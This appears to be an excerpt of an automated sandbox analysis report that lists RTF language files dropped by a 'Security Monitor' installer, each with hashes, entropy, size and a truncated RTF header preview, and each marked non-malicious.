Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38736
Entropy (8bit):	5.026744300506052
Encrypted:	false
SSDEEP:	768:q4eM4jXpT2njX8x3frTlkCR9vIFfT5ebEgTRg+oQHMciZ/6A96:q4U16IA96
MD5:	F53987E38EB6461218A046384275D858
SHA1:	F7D0C00DC80411F7ABF389AF5597F6A9D76671CA
SHA-256:	E2F7132583F6483F598B1D587B4837EA60A4E8147602AB48F72C821FB65CDA64
SHA-512:	23C0AA0AA555D0D04E384320F8682A4AD4511412A854A819C6345F34613039328D5A880B57E0A40DCABDB90F0E324BE03EBA4696F3D93DF96441CF631E01F1CA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36597
Entropy (8bit):	5.030646060695953
Encrypted:	false
SSDEEP:	768:q4FkNx1ETicPI0QhhiLV9E8cvtsomvimZ/6A9Q:q4GVUnXIA9Q
MD5:	4C157CB3C17D248D1CE74DB9A506CBBC
SHA1:	E8786D856D7F9A33E841A2C4BDF4BA41E8153448
SHA-256:	78E2AD2864EE4FA19DF5149FA7C86F4937FECDC48B0AC7965B9332706A356F87
SHA-512:	BA3C0F19E6B41C82021B4B0A00D9177F44D9341C5F26226258AEAC93DD46622C55C50ED284F5B8CD6DEBAF52C35B55720732C0FF9D86961E55648E2182D358DC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	96477
Entropy (8bit):	4.924667312566969
Encrypted:	false
SSDEEP:	768:q4FkIxd/+zl3C79ka9aT2njX8x3fj5g5V5V5h5G5P5N585gVVhGPN9turfTYlD+N:q4pfLS7tFvIA9AA
MD5:	474EFD092A23625D32003FF87FF3453A
SHA1:	1BD49C74CD6DC150858759546E8C8B7A49F12288
SHA-256:	8AEAD04008796E39C04E7E0F99B5824387C416B5C2A0EFF01A9FE5881959F382
SHA-512:	3BED2B0372293ECDF4798D223917556E358EF8AB686D53519EAF6310329FF4B89FB26FA08F42A77D2B16C2065218B9EE746D9D126683CEA19ADAF83172895127
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\eset_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39892
Entropy (8bit):	5.034602521621446
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGG1ZoQZq4sMQi1y9k1IKWhlmdBMyiX4+0Aw:2aFknOc7cskl/VGG1iMN+0dZ/6A9v
MD5:	D947033057D3BCAF28277A8071817DB8
SHA1:	901824B565296E552D80E934D8A2F39369611F86
SHA-256:	B8A385017A5AD17D0584EB61350466CD453CA521B282F195CA0AF0971621BFB2
SHA-512:	92ACB02795C228F72BF64ED33A55B6DB6D4222786B32FA0A67A6A55D53F6D851BC6659CCA4341FDECD6BF0B48E5CAC7D1A437A26927F790A57436C5AAFA1877B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-01IDQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46380
Entropy (8bit):	5.030428428463447
Encrypted:	false
SSDEEP:	768:qqegxdU6T2njX8x3TLjwUtqYepr+pNINnNINGNAAlTuARAhyzc1TOCgX03w3n30j:qqHLIA9R
MD5:	E7F852CDF6B14E79DB92EF3A563FFE70
SHA1:	CEAD99D6CA825878A9040D0F05C04D34DCB48B3F
SHA-256:	C5F6E6F3BEB1F933033207BA5217B357F1257671A5DB08AC5D6E1C484AFF5744
SHA-512:	0F259C1081D3932B0DCA526CE090C3EDEA9C8B40DFE71649F6EED6F948F2FBFE9266C0531BEF728F15ED5969CCC1FE9710EA44903BB2CF49FBD8BA531EBC3D2E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-065KQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44224
Entropy (8bit):	5.048946998383766
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsM5qWUTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhMuF4BaA3F1+1h1r1KDIA9z
MD5:	72509EF33CF9A21325EB2DD67445BA6A
SHA1:	37F7D53B232DE88B3F7D1CDD6813598DD611194D
SHA-256:	6C266D43303DCAC9CE57903481E22442AABD532FFD6E4ADF5C3E4B7820E8CBA8
SHA-512:	00957DDFF315CC324CE9EAAA890EC2712543DEA6ADC8892BCCED84445AF7A8701066FF44708396D63F3F8FEFC1FBEC8EEB687A4A9009632E1644D095300B2542
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-08MQF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	57638
Entropy (8bit):	4.981099786389407
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVRMek4aEqkGBKugOLT7eQk8C/Pr+uPmB35LBUo22xt2VOz:q49OUnWkIA9U
MD5:	DAEEF8D403213DE69003FA2BA7664B93
SHA1:	4A5FE0EE5ACCA61948EDA61062B395F59E224E7F
SHA-256:	635C6F72A6029595AF7922DF53835CE80BF486671E0BE4164D4612F03E993FF4
SHA-512:	5DE410F9C6A4F4A27ED9F456DF9D0D79DF87A21125718CC9B6674B0A4ED686F0630B1BE86A30B787053C3380A24C844899C3CFAA9A4854E72DA803AD673AF92E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-0CK62.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44503
Entropy (8bit):	5.048234089968532
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsr5YJTF187V63F1+1h1r1FOZ/6A9b:2amAhryF187g3F1+1h1r1FOIA9b
MD5:	22F6CDCCE6FACBA92B6D270D8C66B570
SHA1:	7290B603CFA4FB5A44C379220E0694A41138C9B8
SHA-256:	B4BBF6FF64527A29990C52C45852C3A9C25D23A44650A9C78233B2440B731B60
SHA-512:	BCC875F094806C5B461A1C62E8A51F9A03BC213B1B48D0ECA421057EF7371C3C7B57A0FAF5765A6F86975B7B9AF98A64141CCBF8CD7E301D6A1A182C3B9935B8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-1I8EP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	73792
Entropy (8bit):	4.964676170455869
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELHT2njX8x3TLjwUtqYepAkVZEdvI9vtjP1KAn1+kxazy9qGZBwnzKul:qqJCFtjPmYeIA9/
MD5:	248443A08A6A0A95E8F172FC20682550
SHA1:	79F8FB1257C4686C4EE643E2FCCE5306D2C7F5BC
SHA-256:	507932E99002CF707D5CBD4355955DB83A13C47C13DF7301E51FCE0BD4A1C75D
SHA-512:	D6AF2CB284B942F818D9FD3949ACBD05A40D72E701B62432F64A7633E8550EDF2CC4F0C2973C784BC0AE6523E25F13729C933DB702C578050BE8BE4B9EC20E1D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-42CJH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56800
Entropy (8bit):	4.971134438284621
Encrypted:	false
SSDEEP:	768:qqe+2VXLHT2njX8x3TLjwUtqYepAkVZEdvI9DhLVtKAn1+kxATfpyuqFnZ8MSqi7:qqqkhLVvIA9S
MD5:	3B8361BD47C4A33C6753ABF66E840953
SHA1:	F47CF562955DAD89D07730162B53A778A9F72AD4
SHA-256:	81FA4579AC6CA95049C34F47439231BE533173F12A63187779B6F3762F648679
SHA-512:	CA1EBC99A888904B1BF43144C75F58FA4A3F2143FB00341E0EEA61B05CDD60E02F7527E4822144A082321CF2C93EEB8F395EA22295B0D3D9EBCBE9D32CE90456
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-642F2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44859
Entropy (8bit):	5.042653911286004
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnqdxBBdwwZxsAUtcGuermSShpHlfcXX:qqJ9aqMIA9Z
MD5:	0692A56E310ADDB8AB518DFF420373E6
SHA1:	1855B76BA5A77F96D7ED04FECD78342BB3902517
SHA-256:	821D367CFEC38EEB7BFC2635ECC1B8938802D5D4071AFFA380BF5D3DA32BBA8A
SHA-512:	FE0C99F78A2807F06ECE7E94CFD9EBAD74E65FE2E9A8619D1EB3FD9CA68FA1F80AEA29D7FE1CD0AA7CEC6DD0404070E99FBD1B14DE5409CAB94703B2C679083C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-9JH0K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38736
Entropy (8bit):	5.026744300506052
Encrypted:	false
SSDEEP:	768:q4eM4jXpT2njX8x3frTlkCR9vIFfT5ebEgTRg+oQHMciZ/6A96:q4U16IA96
MD5:	F53987E38EB6461218A046384275D858
SHA1:	F7D0C00DC80411F7ABF389AF5597F6A9D76671CA
SHA-256:	E2F7132583F6483F598B1D587B4837EA60A4E8147602AB48F72C821FB65CDA64
SHA-512:	23C0AA0AA555D0D04E384320F8682A4AD4511412A854A819C6345F34613039328D5A880B57E0A40DCABDB90F0E324BE03EBA4696F3D93DF96441CF631E01F1CA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-BBT1L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43992
Entropy (8bit):	5.0490517908671535
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsb5IjTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhbwF4BaA3F1+1h1r1KDIA9z
MD5:	093443BD0007A7BB28B50778BFB43E66
SHA1:	7FC5599F85CEBDA23A323994A57590E14628C84C
SHA-256:	2823645253E4999BA6ED5175DDA4B288C2D01916811294E0E538726BB43952CD
SHA-512:	9A1BB1C996C3B0561B2F1C20D8FB12E3B98322961572803AFFDA7659E024840BA5FD04C53329A443F1C8DB1B16B89CD2E64CCE409AFDBED6139B21F08A65B3C4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-BSI65.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45730
Entropy (8bit):	5.0380816279242895
Encrypted:	false
SSDEEP:	768:qqXQUx1e8Ca9DGi3w2EHnT2njX8x3FA5xr7YZhZOZiZFs7tAZkjCfbH1Yvv71KDH:qqAGeCIA9+
MD5:	BDBE095C7A0E96988B0CF67900DC1BEA
SHA1:	D2FDD08E37CDD417C3CD03A0432CDD50405DA76D
SHA-256:	EA0ADE471AA7488DF2B2589410D86472EDDDEC744B1F61ADE5347E9E3A297DD9
SHA-512:	87C1513C522958F71339D363324B0B5A439E090478D5D235444E329CCB611ED88B8AA186BBFA91B3D4DC576022CD62AEBC2019149A80073BF6CE37670EC4ACAD
Malicious:	false
Reputation:	unknown
